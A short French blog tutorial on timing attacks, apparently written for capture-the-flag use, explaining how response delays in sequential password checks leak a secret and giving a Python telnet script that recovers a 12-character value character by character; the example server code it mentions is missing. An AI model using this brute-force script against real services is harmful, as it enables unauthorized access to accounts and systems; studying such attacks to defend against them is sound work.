Timing Attack : Le temps est précieux !

Le temps est une des principales unités de mesures.
Aujourd’hui les systèmes sont de plus en plus rapide, et un simple contre temps peut faire tomber une machine. Ce n’est pas une attaque très répandue, mais laissez moi vous presenter : La Timing Attack !

Principe de l’attaque :

Imaginons que vous avez un serveur. Un utilisateur tente de se connecter dessus. Le service en charge de la vérification du mot de passe procède comme suit :

Si la 1er condition est remplie, alors {
Faire des trucs
Si la 2eme condition est remplie alors{
Faire des trucs
Si la 3eme condition est remplie alors …

Quand le script exécute « Faire des trucs » cela prend du temps. Le principe de cette attaque est donc de jouer avec les temps de réponse du serveur. Plus le temps est long et plus nous avons remplie de condition. Autrement dit plus nous sommes proches de la bonne solution !

Concrètement on pourrait avoir un code ce genre :

Donc testons :
On peux se rendre compte du changement de temps entre une valeur quelconque et une se rapprochant de la bonne.
Il ne reste plus qu’a prendre le temps de tester toutes les valeurs en regardant le temps que met le serveur à répondre !
Voici un exemple de code en python permettant de tester ce genre de failles sur un serveur telnet :
import time
import telnetlib

result=""
i=0

ca=["1","2","3","4","5","6","7","8","9","0","-"]
tn = telnetlib.Telnet(HOST,PORT)
print tn.read_some()

while (len(result)<12):
	chaine="%s%s" % (result,ca[i])
	debut=time.time()
	tn.write(chaine)
	tn.read_some()
	fin=time.time()
	if((fin-debut)>2):
		print(chaine)
		result+=ca[i]
		i=-1
	i+=1

print('Le flag est : %s' % result)

Voila, pour ce petit tour de la timing attack ! Pensez donc à vérifier les temps de réponse du serveur, cela peut être une bonne façon d’obtenir un accès !

4 commentaires on "Timing Attack : Le temps est précieux !"

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *